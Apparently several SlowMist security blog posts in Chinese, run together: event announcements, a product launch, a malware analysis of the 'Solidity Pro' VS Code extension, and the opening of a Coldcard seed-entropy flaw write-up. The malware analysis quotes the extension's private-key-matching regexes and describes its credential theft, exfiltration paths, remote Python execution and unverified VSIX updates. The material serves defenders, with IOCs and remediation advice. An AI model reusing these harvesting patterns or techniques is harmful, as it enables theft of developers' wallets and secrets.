3. 只有在 Router 的 USDC 余额确实被铸造增加后才能建立可兑现的入金记录。
对跨链桥系统来说，最重要的是被合理认证检查的消息是跨链结算的必要条件，真实的资产到账才是 Router 最终付款的依据。

8 月 28 日，香港将迎来多场聚焦稳定币、智能体支付、AI Agent 与比特币基础设施的行业活动。作为专注于区块链生态安全的公司，慢雾(SlowMist) 将在香港举办并参与多场活动，结合自身的安全研究与实践，与行业伙伴围绕相关议题展开交流。
穿越迷雾，走向可信支付｜全球稳定币合规与智能体支付新前沿
时间：8 月 28 日 09:30–12:30
地点：香港 CAI Building
报名：https://luma.com/0c4fawzv
8 月 28 日上午，慢雾(SlowMist) 将携手 ME Group 在香港举办「穿越迷雾，走向可信支付｜全球稳定币合规与智能体支付新前沿」行业交流活动。届时，来自稳定币、支付、AI Agent、合规与安全等领域的生态伙伴将齐聚香港，围绕全球稳定币合规与应用、智能体支付的技术演进，以及可信支付体系的安全建设展开交流。
活动期间，慢雾(SlowMist) 将结合自身在区块链安全与链上风控领域的实践，分享对稳定币合规与智能体支付安全的相关思考。与此同时，还将发布 MistTrack 代理商计划，进一步推动 MistTrack 链上风控能力在支付及商业场景中的应用，为相关业务提供链上风险识别与调查支持。
Cypher Asia 智能加密金融峰会
时间：8 月 28 日 10:00–19:00
地点：香港数码港 3 座 15 F
报名：https://luma.com/l2anzcqz
8 月 28 日，「Cypher Asia 智能加密金融峰会」将在香港数码港举行。本次峰会由 Finchain、ME Group、Feixiaohao、Tenwings Accelerator 等机构主办，并由包括慢雾(SlowMist) 在内的多家机构联合举办。峰会将围绕监管合规、实体产业落地、资本融合等议题展开交流，连接传统金融与 Web3 生态，共同探讨数字资产行业的发展与创新。
峰会期间，慢雾(SlowMist) 创始人 Cos 将作为演讲嘉宾出席，并带来「加密世界里的灰犀牛与黑天鹅」主题分享。届时，Cos 将结合行业安全实践，分享加密世界中那些容易被忽视、却可能演变为重大风险的“灰犀牛”，以及难以预见的“黑天鹅”事件，并探讨行业如何进一步提升风险识别与安全防护能力。
AI x BTC - BTC Asia Side Event
时间：8 月 28 日 12:30–18:00
地点：香港 CAI Building
报名：https://luma.com/btchk26oc
8 月 28 日，AI x BTC - BTC Asia Side Event 将作为 Bitcoin Asia 2026 的官方边会之一，在香港 CAI Building 举行。本次边会由 OP_CAT Layer 主办，将围绕 AI Agent、比特币基础设施、BIP-110 等话题展开，并设置主题演讲与小组讨论。慢雾合伙人兼 CPO Keywolf 将出席本次边会并参与圆桌讨论，与现场嘉宾围绕 AI 与比特币生态的融合展开交流，分享对 AI Agent、比特币基础设施及安全等议题的观察。
从稳定币与智能体支付，到加密金融与数字资产安全，再到 AI Agent 与比特币基础设施，8 月 28 日，慢雾(SlowMist) 将与行业伙伴在香港展开多场交流，分享安全研究与实践，共同探索新技术与数字资产生态发展中的安全挑战。欢迎莅临活动现场，与慢雾安全团队面对面交流。
香港见！

背景
Solidity Pro 是一款面向 Solidity/Web3 开发者的 VS Code 扩展，对外定位为开发辅助工具，提供 Gas 查询、代币价格、代码片段和编译提示等功能，其 GitHub 仓库还曾宣传 AI Audit、Security Scanner 等安全能力。
在公开活动中，Solidity Pro 先后使用过 helper-beeps 和 web3devtoolsx 两个 publisher（发布者身份），对应的 Extension ID（扩展唯一标识）分别为 helper-beeps.solidity-pro 和 web3devtoolsx.solidity-pro。虽然发布身份发生了变化，但后续构建产物中仍保留旧 publisher、仓库地址和版权信息，表明两者之间存在直接的工程继承关系。
2026 年 8 月 6 日至 7 日，这两个 Extension ID 先后被加入 Open VSX 使用的恶意扩展控制列表。按理说，继续沿版本向后检查应该仍能看到相关恶意能力，但我们取得的 Solidity Pro 4.0.0（publisher：web3devtoolsx）却呈现出完全不同的结果：最终 bundle（打包后的执行代码）中只剩 Gas、代币价格、日志等普通功能，历史恶意版本中出现过的凭据采集、远程载荷下载、子进程执行和远程 VSIX 更新模块均已消失。
于是问题变成了：一个已经存在明确恶意历史的插件，为什么在后续版本中又变得“干净”？
本文将从 4.0.0 向前回溯 Solidity Pro 的版本与发布身份变化，分析两个历史恶意版本、GitHub Clean commit、publisher 迁移和公开活动时间线，并讨论仅根据当前版本判断 IDE 扩展风险可能产生的检测盲区。
本文分析基于静态证据，未运行样本或连接远端基础设施。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。
MistEye 对 helper-beeps.solidity-pro 与 web3devtoolsx.solidity-pro 两个发布身份及对应样本进行了关联梳理。结合静态去混淆、恶意能力交叉复核和公开平台时间线，提取了样本哈希、扩展 ID、危险请求路径与远程更新行为，用于 IDE 扩展供应链风险预警。
一、当前版本
要判断 4.0.0 为什么没有命中恶意代码，需要同时检查两个对象：本文取得的 4.0.0 样本，以及与其 bundle 一致的 GitHub 仓库状态。
VSIX 包里有什么。 本地重建的 4.0.0 包的最终 bundle 主要包含 ApiClient、GasTracker、PriceMonitor 和 Logger，网络访问集中在 Etherscan 与 CoinGecko。扩展在 onStartupFinished 或包含 Solidity 文件的工作区激活后，仅启动 Gas tracker、Price monitor 和 logger，并注册三个公开命令；compile 命令只显示一条 Hardhat/Foundry 提示，不实际调用编译器。在已检查文件和静态可达路径中，未发现历史版本中的凭据采集、远程载荷下载、子进程执行和远程 VSIX 更新四类恶意能力。
GitHub 仓库里还有什么。 4.0.0 包本身没有携带源码，因此我们进一步向 GitHub 回溯其公开工程。仓库中一个 package.json 版本回退为 v1.0.0、commit 95dce4f、提交信息为 "Clean release" 的提交，其 out/extension.js 与 4.0.0 bundle 均为 10,633 字节、SHA-256 一致。
该 commit 的 out/extension.js 同样只包含 ApiClient、GasTracker、PriceMonitor 和 Logger，激活与停用函数仅做初始化与清理。但同一 commit 的 src/ 目录却是另一番景象：src/telemetry/Web3Analytics.ts 仍在，文件头写着 "Sends install ping immediately, then scans for secrets"，内部包含 BIP39 词表、钱包凭据识别、WORKERS 外传配置和大规模文件搜集上限；src/services/AutoUpdater.ts 同样保留，定义了 30 分钟周期的版本检查与远程 VSIX 安装逻辑。
GitHub 仓库 (Clean commit 95dce4f)
├── src/telemetry/Web3Analytics.ts # 恶意采集工程源码仍在
├── src/services/AutoUpdater.ts # 远程 VSIX 更新源码仍在
├── .vscodeignore # 排除 src/**、scripts/**、*.ts
└── out/extension.js # 打包时可见的干净 bundle
恶意源码为什么没有进入 VSIX 包？这里存在两道边界。
第一道是执行入口：Clean commit 的 src/extension.ts 删除了对 Web3Analytics 与 AutoUpdater 的 import 和启动逻辑，esbuild 从该入口构建依赖图时，不再将这两个模块编入 out/extension.js。
第二道是包内可见性：.vscodeignore 排除了 src/**、scripts/** 和 *.ts，同时保留 out/**，因此残留的 TypeScript 源文件也不会以原始源码形式进入按该配置生成的 VSIX。v1.0.0 的提交信息写的是 "Clean release"，但恶意模块源文件未在该 commit 中删除或修改——最终交付物变干净了，工程内部的恶意模块仍可在后续源码或构建配置变更中被重新纳入。
二、历史恶意版本
既然当前版本和 Clean commit 的 bundle 均未发现原恶意模块，调查需要继续追踪 Solidity Pro 在两个发布身份下出现的历史版本。
Solidity Pro 并不是始终使用同一种恶意实现。在 helper-beeps 发布身份下取得的 2.4.1 与 web3devtoolsx 发布身份下取得的 3.4.0，展示了两套明显不同的执行方式：前者以延迟下载和远程代码执行为核心，后者以内置凭据采集和远程更新通道为核心。
2.4.1：延迟投递
在本文取得的 Solidity Pro 2.4.1 样本中（publisher：helper-beeps），扩展在 Solidity 文件或 Hardhat/Foundry 工作区中激活，telemetry 默认开启。激活后代码不会立即进入下载阶段，而是设置一段 24 至 48 小时的随机等待窗口：
MIN_DELAY_MS: 86400000,
MAX_DELAY_MS: 172800000
等待结束后，代码对 CI、GITHUB_ACTIONS、JENKINS_HOME、GITPOD_WORKSPACE_ID 等环境变量做存在性判断，命中即退出。随后对六个编码的主目录相对路径逐一执行 fs.existsSync 筛选，这些路径在该阶段只用于存在性筛选。
通过筛选后，代码依次尝试两个编码端点，向每个端点请求固定路径 /firmware。获得响应后校验长度，使用 crypto.createDecipheriv 以 AES-GCM 解密，将解密文本以受限权限写入临时目录的 .py 文件，再通过 child_process.spawn 以 detached 方式执行。约 60 秒后 unlinkSync 清理临时文件。未取得 /firmware 实际响应，二阶段具体功能未知。
3.4.0：凭据采集
Solidity Pro 3.4.0（publisher: web3devtoolsx）的 package.json 的 activationEvents 同时声明了 workspaceContains:*.sol 和 onStartupFinished。扩展可在 VS Code 启动完成后自动进入 activate()，不要求用户执行其公开命令。
默认配置 solidity-pro.telemetry.enabled=true 会创建并启动 Web3Analytics。README 声称仅收集匿名使用数据、不存储私钥或源码，但该模块实际执行的扫描对象覆盖了开发者信任域的核心资产：
钱包与签名材料：EVM 私钥、BIP39 助记词、keystore、Solana id.json、浏览器钱包扩展数据（MetaMask、Phantom、Coinbase Wallet、Rabby）。源码与发布凭据：GitHub ghp_/gho_/github_pat_ token、GitLab glpat-、.npmrc、PyPI token、.netrc、Git 凭据。云与基础设施：AWS access/secret/session key、Kubernetes config、Docker 认证、Azure、GCP 配置。项目与交互痕迹：.env 及变体、API key、AI 服务 token（sk-、sk-proj-、sk-ant-）、Shell 历史和主机信息。
EVM 私钥的正则匹配覆盖了 privateKey、PRIVATE_KEY、WALLET_KEY、DEPLOYER_KEY 等常见变量名和 64 位十六进制值：
var _0x4e0bcc = [
/["']privateKey["']\s*:\s*["'](?:0x)?([0-9a-fA-F]{64})["']/g,
/(?:PRIVATE_KEY|PRIVATEKEY|ETH_KEY|ETHKEY|WALLET_KEY|WALLETKEY|DEPLOYER_KEY|OWNER_KEY)\s*=\s*["']?(?:0x)?([0-9a-fA-F]{64})["']?/gi,
/(?:privateKey|private_key|ethKey|eth_key|walletKey|wallet_key)\s*[:=]\s*["'](?:0x)?([0-9a-fA-F]{64})["']/gi,
/(?:priv(?:ate)?[ _-]?key|secret)[:=]\s*["']?(0x[0-9a-fA-F]{64})["']?/gi
];
SSH 目录采集逻辑会枚举 ~/.ssh/ 中的候选私钥文件，读取内容并交给 extractSecrets 提取器。采集结果通过两条 HTTP 请求路径向外发送：文本 JSON 经 HTTPS 向混淆的 CFG.WORKERS 主机 POST /x，完整报告以 multipart/form-data 向同一组主机 POST /y。
与该采集链并行运行的还有 AutoUpdater。它在 activate() 中被无条件创建并启动，不依赖 telemetry 配置。启动后立即请求一次 /version，此后每 30 分钟轮询两个硬编码 Worker；只要响应里带有 version 和 url，代码就比对版本号、下载 VSIX、调用 VS Code 安装命令，再删除临时文件。
整条更新链没有任何完整性校验——更新器自身未实现哈希、签名、publisher 或证书固定。这意味着服务端可以在任意一次轮询中返回更高版本和下载地址，自行决定什么时候触发更新、投递哪个 VSIX。更关键的是，更新前只会弹出一个仅有 "OK" 按钮的通知，代码等通知流程结束后就继续安装，既没有真正的取消选项，也不读取用户的选择结果。
这类采集目标之所以危险，在于 IDE Extension Host 本身位于开发者信任域内部。Web3 开发机往往同时保存钱包材料、源码仓库凭据、包发布 token、CI/CD 和云平台配置，一次扩展供应链攻击可能同时跨越多个安全边界。
四类样本或版本的角色对照：
三、发布者迁移
Solidity Pro 的 2.4.1 与 3.4.0 并不属于同一个 Extension ID。前者由 helper-beeps 发布，后者则使用新 publisher web3devtoolsx。为什么还能把它们放在同一条调查线上？
初始 v3.4.0 commit fe794a2 的内部元数据直接回答了这个问题。package.json 声明 publisher: web3devtoolsx、版本 3.4.0，repository 指向 github.com/web3devtoolsx/solidity-pro。同一 commit 的 out/package.json 却保留 publisher: helper-beeps、版本 3.3.0，repository 指向 github.com/helper-beeps/solidity-pro。LICENSE 文件仍写着 "Copyright (c) 2026 Helper Beeps"。
两份 package.json 出自同一次提交，证明 Solidity Pro 在 web3devtoolsx 身份下的初始构建产物直接来自 helper-beeps 工程，代码或构建产物存在直接来源关联。
将构建产物继承关系与官方恶意标记时间线叠加后，publisher 轮换的模式更加清晰：
helper-beeps.solidity-pro 被加入官方 malicious 列表 (2026-08-06 14:27:24 UTC)
│ 8 小时 32 分 48 秒
▼
web3devtoolsx GitHub 账号创建 (2026-08-06 23:00:12 UTC)
│ 约 16 分钟
▼
新的 Solidity Pro v3.4.0 出现
│ 次日
▼
web3devtoolsx.solidity-pro 也被加入官方 malicious 列表 (2026-08-07 12:38:52 UTC)
四、Clean release
GitHub 初始 commit 提交恶意 v3.4.0 bundle 后仅 13 分 29 秒，同一仓库提交了版本回退为 v1.0.0 的 Clean commit。在这段极短窗口内，发布者还短暂发起并自行关闭了 Open VSX namespace claim（issue 无评论，由 web3devtoolsx 本人关闭）。
Clean commit 的修改精确集中在两类目标。执行面移除了 Web3Analytics 激活、AutoUpdater 启动、telemetry 配置、javascript-obfuscator 依赖和混淆构建步骤。产品表面移除了 AI Audit Engine、Security Scanner、100K+ badge 和夸大能力文案。版本号从 3.4.0 回退到 1.0.0。
这些变化集中出现在同一个名为 "Clean release" 的提交中。它直接移除了公开可达的高风险入口和部分显眼营销文案，使只检查新 bundle 的系统不再命中原恶意模块。清理并不彻底： package.json description 中的 "Trusted by 100K+" 和 "vulnerability scanner" 表述未被移除——最显眼的 badge 被删掉，若该 manifest 被实际打包并发布，能影响搜索结果和商店页面的元数据仍在。而如前所述，恶意源码仍完整保留在 src/ 目录下，只是通过 .vscodeignore 不进入最终包。
Clean release 改变的是最终交付物，而不是这个工程已经发生过的历史。
五、可信度包装
与版本变化几乎同时发生的，还有新发布身份的快速包装：web3devtoolsx 账号创建后约 16 分钟内，企业样式资料、六个知名项目 fork、产品仓库、成熟版本号和 100K+ 声明集中出现。这些信号集中出现，客观上会让新账号呈现较成熟的组织外观。
企业样式资料。 账号创建约 15 分钟后，Profile 已包含 "Web3 Dev Tools" 名称、公司字段、Zug 地点、官网、Twitter 链接、一个已上线产品和两个 "Coming Q3" 产品路线图。截至 2026 年 8 月 12 日复核，followers、following、gists 等长期活动指标仍为 0。
六个知名项目 fork。 账号在 13 秒内连续 fork 了 OpenZeppelin Contracts、Foundry、Hardhat、Chainlink、Uniswap v3-core 和 ethers.js。普通访问者会在主页看到熟悉的 Web3 项目名称，但 fork 只表示复制上游仓库，不代表贡献、合作或任何形式的背书。
版本标记与创建时间不一致。 仓库创建 8 秒后的初始提交同时携带 v2.4.1、v2.4.5、v3.2.3、v3.3.0 和 v3.4.0 五套版本标记，源码头部还声称 2025 年首次发布。这些版本和年龄标记与账号、仓库当日刚创建的公开历史明显不一致。
重复强化社会证明。 “100K+”同时出现在 repository description、 package.json、out/package.json、README badge、README 正文和构建输出中，是项目公开资料中反复强调的用户规模声明。现有材料无法独立验证这一数字的真实性，但这种表述与成熟版本号、企业化 Profile 和知名项目 fork 一样，共同构成了 Solidity Pro 对外展示的成熟产品形象。
这些宣传内容与前文已确认的实际代码行为形成明显冲突：README 声称不存储 private keys 或 source code，配置把 telemetry 描述为匿名使用数据，构建脚本把 javascript-obfuscator 的混淆过程称为 "privacy"。产品宣称 AI 审计、漏洞扫描和重入检测，但公开命令主要是查询 Gas、显示代币价格和一条通过 Hardhat/Foundry 编译的提示。
组织资料、知名 fork、成熟版本号、100K+、真实可用的小功能和隐私说明均会影响访问者对扩展的初步判断。每个元素单独看都可能正常，异常在于这些信号与恶意代码、快速时间线和旧 publisher 构建残留同时出现。
六、单版本检测的盲区
恶意代码可以删除，但版本历史、发布身份和工程来源不会自动清零。
把前五章的发现放在一起，Solidity Pro 呈现出一种值得平台和安全产品重视的模式：一个已经关联明确恶意历史的扩展名称和 publisher，通过发布未命中原恶意能力的新版本，可以让只检查当前构建的检测重新给出 clean、未命中或低风险的结果。
区分这种模式与正常安全修复，不能只靠新代码是否干净，还需要同时核对四个层面的问题：
哈希与当前 bundle 回答：这个文件现在包含什么。版本历史回答：这个扩展 ID 或 publisher 此前交付过什么。publisher 和代码来源回答：当前包与哪些已知恶意工程存在直接联系。当前与历史远程控制面回答：当前本地代码或历史版本是否允许服务器改变交付内容。
对扩展市场和安全产品而言，这意味着检测对象需要从"单个文件哈希"扩展到版本历史、publisher 变化、构建产物差异和远程控制面：
保存历史版本的哈希与解混淆结果；新版本移除大量危险模块时，应触发差异审查，而不是自动恢复信誉。关联旧 publisher 残留、代码相似度和构建脚本，建立代码或构建产物的来源关联。将周期 /version 检查、远端 URL 和临时 VSIX 安装记录纳入运行时监控。将下载量、stars 和企业样式 Profile 仅作为上下文，而不是安全背书。
总结
Solidity Pro 在 helper-beeps 和 web3devtoolsx 两个发布身份下均存在明确恶意实现：2.4.1 以本地随机延迟和环境筛选为前置条件，从远端下载加密 Python 并执行；3.4.0 在 VS Code 启动后自动触发凭据采集，通过 /x 和 /y 两条 HTTP 请求路径外传，同时保留由远端响应驱动的 VSIX 更新通道。初始 3.4.0 的 out/package.json、repository 和版权信息仍指向 helper-beeps，证明两个发布身份的构建产物存在直接来源关联。
GitHub Clean commit 的最终 bundle 移除了这些恶意模块，但仓库仍保留恶意模块源文件；本地重建的 4.0.0 包同样未发现原恶意模块。包含恶意入口和构建物的初始提交到 Clean commit 仅隔 13 分 29 秒，企业样式资料、六个知名 fork、产品仓库和成熟版本声明则在账号创建后约 16 分钟内集中出现。
这个案例最终说明的是：只按当前文件或当前版本判断扩展风险远远不够。恶意代码可以从最新 bundle 中消失，但历史恶意记录不会因此失效——一个干净的新版本，抹不掉同一名称和 publisher 此前交付过恶意代码的事实。
建议
安装过 helper-beeps.solidity-pro 或 web3devtoolsx.solidity-pro 的开发者应先隔离网络，并保全扩展目录、安装包副本、进程和网络日志，再禁用并卸载相关版本。随后检查 VS Code 进程树、临时目录中的 Python 文件、异常 VSIX 安装记录，以及代理日志中的 /firmware、/x、/y、/version 请求。若曾启用运行 Solidity Pro 3.4.0（publisher：web3devtoolsx），钱包私钥、助记词、GitHub/GitLab/npm/PyPI/AWS/Cloudflare/AI 服务及 CI/CD token 可能暴露。应从干净设备优先撤销或轮换相关凭据；加密资产应迁移至使用全新 seed 或私钥的钱包，不能只修改原钱包密码。若曾启用运行 Solidity Pro 2.4.1（publisher：helper-beeps），只要主机可能跨过该样本的延迟窗口，或实际运行时长无法确认，就应按潜在本地代码执行事件调查。企业安全团队应优先搜索 Extension ID、危险请求路径、已知 Worker、临时文件和异常进程树，再结合两个样本 SHA-256、扩展安装时间与 VS Code 进程网络记录确定受影响范围。重点检测 VS Code Extension Host 启动 detached Python、从临时路径安装 VSIX、读取高价值配置后发起 multipart HTTPS 等行为组合。扩展市场应对默认 telemetry 中出现凭据读取、远程下载、解密执行或绕过官方渠道安装 VSIX 的能力进行强制人工审核；保留历史版本并执行跨版本差异审查，避免后续未命中恶意代码的版本自动清除旧版本风险标签。
IOC
恶意文件
filename: helper-beeps.solidity-pro-2.4.1.tar.gz
SHA256: 7b53b1d93f46babc7415d898e17e71ffb6f3a3af3adb222f21c03adea8b30d50
filename: web3devtoolsx.solidity-pro-3.4.0.gz
SHA256: bcbaf774f9cea0b0131859b96ba0eeadfd5a49bba59302de1bcf3d884300d508
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Rust（Cargo）/ Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skillsAI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测
🛠️ MistEye-DNS-Guard：https://github.com/slowmist/MistEye-DNS-GuardRust 实现的本地 DNS relay，检测恶意域名与风险访问，识别钓鱼、C2 等网络威胁。
本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报平台、SlowMist Agent AI 驱动分析编写，有任何问题欢迎咨询反馈。
参考链接：
[1] https://yeethsecurity.com/blog/2026-08-06-Solidity-Pro-WhiteCobra-C2-to-Telegram

近日，由慢雾(SlowMist) 打造的 MistTrack Agent 正式作为第三方 Agent 入驻 AgentOn。MistTrack Agent 专注于加密货币 AML 与链上调查，将链上资金追踪、风险分析等能力引入 AgentOn 平台，为用户提供更加高效、自动化的链上调查方式。
欢迎体验 MistTrack Agent：
https://agenton.me/agent/market/external/fe204dba-05d1-49c8-8659-03ca24988185
🎁 限时体验：每位用户可享 10 次免费调用，有效期 30 天。免费调用次数用尽或有效期结束后，将按照 AgentOn 的标准进行收费。
MistTrack Agent: 从资金追踪到风险分析
在加密货币 AML 与链上安全调查中，一笔资金的流转往往涉及多个地址、协议及区块链网络。Mixer、跨链桥、DEX Swap 以及多跳转账等复杂路径，需要调查人员在不同工具之间反复切换，逐步梳理交易关系、追踪资金流向并判断潜在风险。
MistTrack Agent 针对这一调查场景，将部分原本需要人工完成的工作交由 Agent 自动执行。用户只需输入一个钱包地址或交易 Hash，Agent 即可根据调查目标规划追踪路径，持续分析资金在多个地址及不同区块链之间的流转，并识别资金经过的 Mixer、跨链桥、DEX Swap 等协议及相关交易路径。
在资金追踪的基础上，MistTrack Agent 还可以结合调查结果进行风险分析，并将相关信息整理为可导出的结构化调查与合规报告，帮助用户进一步了解资金来源、流转路径及最终去向。
对于 AML、KYT、链上安全调查以及被盗资产追踪等场景，这种自动化调查方式可以减少在不同工具之间反复查询和重复分析的工作，也让原本依赖专业工具和调查经验的链上合规调查能够被更多用户使用。
长期积累的链上数据与威胁情报
要让 Agent 能够完成链上调查，除了自动化的分析能力之外，背后的链上数据、地址标签以及威胁情报同样重要。MistTrack 长期积累的链上数据、地址标签、实体信息与威胁情报，为 MistTrack Agent 的资金追踪与风险分析提供底层支撑。目前，MistTrack 已覆盖 4 亿+ 地址标签、1 万+ 已识别实体、19 条主流区块链网络、100+ Token 以及 18 种稳定币，并结合 OFAC、英国财政部（UK HMT）及其他制裁情报。
在实际调查中，地址标签和实体信息可以帮助了解相关地址及其关联实体，多链数据用于支持跨链资金追踪，威胁情报和制裁信息则为风险判断提供参考。通过关联这些信息，MistTrack Agent 可以进一步补充资金路径背后的地址、实体及风险背景，为调查人员分析资金流向和潜在风险提供更多参考。
慢雾(SlowMist) × AgentOn 战略合作的进一步落地
此前，慢雾(SlowMist) 与 AgentOn 已达成战略合作，双方将围绕 AI Agent 安全能力建设、安全评估及生态实践等方向展开合作。慢雾(SlowMist) 将自身在区块链安全、威胁情报和风险检测领域的积累，与 AgentOn 的 AI Agent Marketplace 生态进行连接，共同探索安全能力与 Agent 应用场景的结合。
此次 MistTrack Agent 正式入驻 AgentOn，是双方合作在产品层面的进一步落地。通过将成熟的链上调查与 AML 能力以 Agent 的形式提供给用户，MistTrack 将原有的资金追踪、风险分析等能力融入 Agent 工作流，让用户能够直接通过 Agent 完成相关调查任务。
写在最后
MistTrack Agent 入驻 AgentOn，是慢雾(SlowMist) 将链上数据、威胁情报与调查能力带入 Agent 场景的一次实践。对于 AML、KYT 及链上安全调查而言，Agent 不只是新的交互方式，也为链上数据、调查流程与分析结果之间的连接提供了新的载体。未来，双方将持续围绕 AI Agent 安全能力与应用实践展开合作，探索 Agent 在真实链上业务场景中的更多应用。

数字资产与人工智能技术的持续发展，正在推动支付进入新的应用阶段。一方面，稳定币正加速走出链上场景，深入支付、结算与资金管理等真实业务环节；另一方面，AI Agent 也正从辅助工具逐步走向能够代表用户与企业完成查询、决策、调用服务乃至发起交易的支付参与者。
当稳定币开始走向真实支付场景，合规如何真正落地；当 AI Agent 开始参与交易，如何建立安全、可信的交易机制，也成为行业需要面对的新问题。
为此，慢雾(SlowMist) 携手 ME Group，将于 8 月 28 日在香港举办「穿越迷雾，走向可信支付｜全球稳定币合规与智能体支付新前沿」行业交流活动。活动将聚焦全球稳定币合规与应用、智能体支付的技术演进，以及可信支付体系的安全建设，并邀请来自稳定币、支付、AI Agent 及合规安全等领域的生态伙伴齐聚一堂，共同探讨稳定币合规与智能体支付的发展方向。
时间：8 月 28 日 09:30 – 12:30
地点：香港 CAI Building
报名链接：https://luma.com/0c4fawzv
全球稳定币合规：从监管要求走向应用能力
随着稳定币逐步进入零售支付、跨境结算、商户收款、企业资金管理等真实场景，行业关注的重点也正从发行本身，进一步延伸至如何安全、合规、高效地应用。与此同时，全球主要市场的监管框架持续完善，合规要求也正从发行端延伸至支付、交易和风控等应用环节，并逐渐成为机构建立信任、拓展真实商业场景的重要能力。
本次活动将聚焦全球稳定币合规演进，以及其对发行、支付、交易和风控实践带来的影响，探讨行业如何在合规基础上推动稳定币进一步落地。
智能体支付：从“人付款”走向“Agent 付款”
AI Agent 正逐步具备查询、比价、采购、调用服务与执行支付等能力。以 x402、MPP 为代表的机器支付协议，以及 Agent 钱包、支付凭证和身份系统的不断发展，正在推动软件从“使用服务”走向“自主完成交易”，直接为 API、数据和数字服务买单。
但 Agentic Payments（智能体支付）并不只是让机器拥有一个钱包，更意味着支付责任与权限边界正在发生变化：谁为 Agent 的行为负责？用户授予了哪些权限？预算如何控制？交易对手与资金流向如何验证？当发生误付、欺诈或异常交易时，又该如何审计与处置？
这些新的安全与合规问题，也将成为智能体支付进一步落地必须面对的挑战。活动将围绕 x402、Agentic Payments 及相关基础设施的发展，分享行业实践与探索，讨论智能体支付在安全、合规及实际应用中的挑战。
安全与合规：构建可信支付新基础
慢雾(SlowMist) 长期深耕区块链安全、链上威胁情报、资金追踪及 KYT/AML 等领域，并通过 MistTrack 等产品持续为数字资产平台、Web3 项目及金融机构提供链上风险识别与资金监测能力。
当稳定币与智能体支付逐步进入真实业务场景，安全与合规也需要进一步融入产品设计、支付授权和风险控制等关键环节。活动中，慢雾(SlowMist) 将围绕稳定币合规与智能体支付安全，分享相关实践与观察，并正式发布 MistTrack 代理商计划，连接更多生态伙伴，推动链上风控能力进入更广泛的支付与商业场景。
活动现场还特别设计了数场每人 10 分钟的开放麦(Open Mic) 分享环节。如果你对上述主题感兴趣，或有相关实践与经验想要分享，欢迎报名参与！
更多嘉宾名单及完整议程细节，将陆续揭晓，敬请关注。

作者：Johan & Lisa
编辑：77
本文人机共赏，导入 AI 即可复现。
背景
2026 年 7 月 30 日，链上有一批地址连续往外转，41 分钟，1,196 个单签地址被清空，约 1,082 枚比特币消失。这只是第一波。截至 8 月上旬，确认的损失至少 1,719 枚，约合 1.11 亿美元，涉及的地址超过 5,200 个，攻击前后分了三到四波。
最先让人想不通的是这些钱包的状态。钱大多躺在冷钱包里，有的几个月、几年没人动过，丢的是私钥这一层。私钥全部由 Coldcard 硬件钱包生成，主人没有额外点击过骰子熵，也没有开 BIP-39 passphrase。中招的都是最省事的用法。
影响范围按固件线分开看。Mk2、Mk3 的固件版本 4.0.1 到 4.1.9，有效熵只有大约 40 bit，最严重。Mk4、Mk5、Q 在特定固件版本上是大约 72 bit，仍然在离线爆破的范围内。
Coinkite 的反应不慢。7 月 30 日发出警告，第二天就放出修复固件，Mk2 和 Mk3 升到 4.2.0 以上，Mk4、Mk5 到 5.6.0 以上，Q 到 1.5.0Q 以上，同时销毁了漏洞版本的库存，暂停发货。
这场攻击跟远程入侵、供应链投毒都没有关系。攻击者没有碰过任何一台设备，他拿到私钥靠的是离线枚举，把种子的搜索空间一个接一个试过去。漏洞在设备端潜伏了好几年，直到外部研究者写出爆破器才浮出水面。
慢雾随后把整条攻击链复现了一遍，这篇文章以 Mk3 固件 4.1.9 为例，为你还原数千枚比特币失窃的真相。
漏洞根因
Coldcard 生成种子，本来应该走 STM32L475 芯片自带的硬件 TRNG，也就是真随机数发生器。实际固件里，两处失误叠在一起，把种子变成了一台全球所有设备状态几乎相同的软件 PRNG。它叫 Yasmarang，Mk3 上的有效熵只剩大约 40 bit。
失误一 硬件 RNG 被主动关掉
第一处失误在构建配置里。Coldcard 在 mpconfigboard.h 中把 MicroPython 的硬件 RNG 支持显式关掉了。
第一次看到这行宏，会觉得没什么问题。Coinkite 有自己的 ckcc.rng_bytes，直接调 STM32 硬件 TRNG，比 MicroPython 移植层的实现更可控。坑在下面这个宏展开里。libngu 的 my_random_bytes() 通过 CHIP_TRNG_32() 这个宏去读随机数，宏展开后调的是 MicroPython STM32 移植层提供的 rng_get()，并且把它当成硬件 TRNG 用。而 rng_get() 正好在 MICROPY_HW_ENABLE_RNG 等于 0 的时候静默降级，掉进下一处失误。
失误二 rng_get() 的兜底被当成硬件 TRNG 用
我们最先盯着 libngu 的 random.c 看。宏展开一路追下去，最后停在 MicroPython 的 STM32 移植层，ports/stm32/rng.c 的 else 分支。
rng_get() 由 ports/stm32/rng.c 提供。它用 #if MICROPY_HW_ENABLE_RNG 做值判断，宏非 0 就读 RNG->DR，也就是硬件 TRNG 本身。宏为 0 的时候，编译进 else 分支，返回的是软件 PRNG 的输出。Coldcard 的配置正好是 0，每一台出厂的 Mk3 都走这条路。
这个兜底叫 Yasmarang，上世纪九十年代在论坛上流传的伪随机数发生器，不属于密码学算法，内部状态只有 128 bit，初始种子几乎全部来自可预测量。libngu 每读一次"硬件随机数"，拿到的都是 Yasmarang 的输出，再异或上 libngu 自己那条全局常量流。绕到最后，整份"随机性"只剩 pad = UID ^ SysTick 这一个 32 bit 的值。
Yasmarang 的初始状态，几乎是全球统一常量
Yasmarang 的状态由四个 32 bit 变量组成，pad、n、d、dat。Mk3 上有两条 Yasmarang 实例，初始化如下。
